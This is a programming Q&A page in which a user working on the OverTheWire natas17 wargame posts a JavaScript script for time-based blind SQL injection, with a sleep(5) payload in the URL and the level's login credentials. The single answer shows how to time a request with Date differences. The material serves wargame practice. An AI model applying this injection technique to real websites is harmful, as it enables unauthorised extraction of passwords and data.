Search code examples
javascriptxmlhttprequesttimeoutsynchronous

How can I measure time taken by a synchronous http request in JavaScript?


So I’m trying out natas level 17 to 18 and I need to brute force the password. I need to continuously send http requests and based on the response time of each request, I can figure out if a letter is a part of the password or not. Till now I’ve been writing my scripts using JavaScript and executing them on console. My requests were all synchronous as I had to wait and pause execution of script till I got a response back from the server. Now, the issue here is I want to measure the time taken by the request. In JS there’s a feature of timeout that enables one to do so, however it is not allowed for synchronous requests. Any workaround? Here's my JS code

let password = "";
let count = 0;
let alphanum = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890";
let alphanumc = alphanum.length;
let passwordc = 32; //assuming password has 32 characters
let fl1=0,fl2=0;
while(count!=passwordc)
{
    fl1=fl2=0;
    console.log(count);
    console.log(password);
    let oldp = password;
    for(let i=0;i<alphanumc;i++)
    {
        password += alphanum[i];
        let xhr = new XMLHttpRequest();
        let url = `http://natas17.natas.labs.overthewire.org/index.php?username=natas18%22+and+password+like+binary+%22${password}%%22+and+sleep(5)#`;
        xhr.open('GET',url,false,"natas17","8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw");

        xhr.onload = function() {
          if (xhr.status != 200) { 
            alert(`Error ${xhr.status}: ${xhr.statusText}`);
          } else { 
            console.log("NO MATCH");
            password = oldp;
            fl2=1;
        }};
            xhr.onerror = function() {
                alert("Request failed");
            };

            xhr.timeout = 4000;
            xhr.ontimeout = function(){
                console.log("FOUND");
                count++;
                fl1=1;
            };

            xhr.send();

            if(fl1==1) break;
            if(fl2==1) continue;
    }
}
console.log(password);      

Solution

  • You should get one date right before the begin of request and one date should be placed is some loop waiting for a flag or a status change, the dates declared as:

    var tmsStart = new Date();
    var tmsEnd = new Date();
    

    And then you should be able to do the math for the difference:

    const diffTime = Math.abs(tmsEnd - tmsStart); 
    console.log(diffTime + " milliseconds");
    

    place the check milliseconds in the loop like:

    if (diffTime >= 4000) {
    //Exit loop
    break;
    }
    

    is that what you want to achieve?